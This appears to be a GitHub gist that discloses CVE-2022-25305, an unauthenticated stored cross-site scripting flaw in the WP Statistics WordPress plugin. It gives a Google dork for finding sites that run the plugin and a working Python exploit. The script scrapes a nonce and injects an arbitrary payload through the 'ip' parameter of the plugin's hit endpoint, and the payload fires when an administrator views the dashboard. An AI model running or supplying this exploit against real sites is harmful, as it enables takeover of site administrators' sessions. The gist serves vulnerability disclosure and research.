Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save Xib3rR4dAr/af90cef7867583ab2de4cccea2a8c87d to your computer and use it in GitHub Desktop.
Save Xib3rR4dAr/af90cef7867583ab2de4cccea2a8c87d to your computer and use it in GitHub Desktop.
WordPress Plugin WP Statistics >= 13.1.5 - Unauthenticated Stored Cross-Site Scripting in `ip`

WordPress Plugin WP Statistics >= 13.1.5 - Unauthenticated Stored Cross-Site Scripting

Exploit TitleWordPress Plugin WP Statistics >= 13.1.5 - Unauthenticated Stored Cross-Site Scripting
Exploit AuthorMuhammad Zeeshan (Xib3rR4dAr)
DateFebruary 13, 2022
Plugin LinkWP-Statistics
Plugin Active Installations600,000+
Version13.1.5 (Latest)
Tested onWordpress 5.9
Vulnerable Endpoint/wp-json/wp-statistics/v2/hit
Vulnerable File/wp-content/plugins/wp-statistics/includes/class-wp-statistics-ip.php and others
Vulnerable Parametersip
Google Dorkinurl:/wp-content/plugins/wp-statistics
CVECVE-2022-25305

Proof of Concept

unauthenticated_stored_xss_platform_poc.py

import requests, re, json, urllib.parse

wpurl           =   input('\nWordPress URL: ')
payload         =   input('\nPayload: ')

wp_session      =   requests.session()

wp              =   wp_session.get(wpurl)
wp_nonce        =   re.search(r'_wpnonce=(.*?)&wp_statistics_hit', wp.text).group(1)

headers         =   {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"}

payload         =   urllib.parse.quote_plus(payload)
exploit         =   f'/wp-json/wp-statistics/v2/hit?_=11&_wpnonce={wp_nonce}&wp_statistics_hit_rest=&browser=Chrome&platform=&version=&referred=&ip={payload}&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id=0&search_query&page_uri=/&user_id=0'
exploit_url     =   wpurl+exploit

print(f'\nSending XSS payload: {exploit_url}')

wp              =   wp_session.get(exploit_url, headers=headers)
data            =   wp.json()

print("\nResponse: \n" + json.dumps(data, sort_keys=True, indent=4))

print(f'\nXSS will trigger when admin visits WP Statistics Dashboard at {wpurl}/wp-admin/admin.php?page=wps_overview_page or other pages.')

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment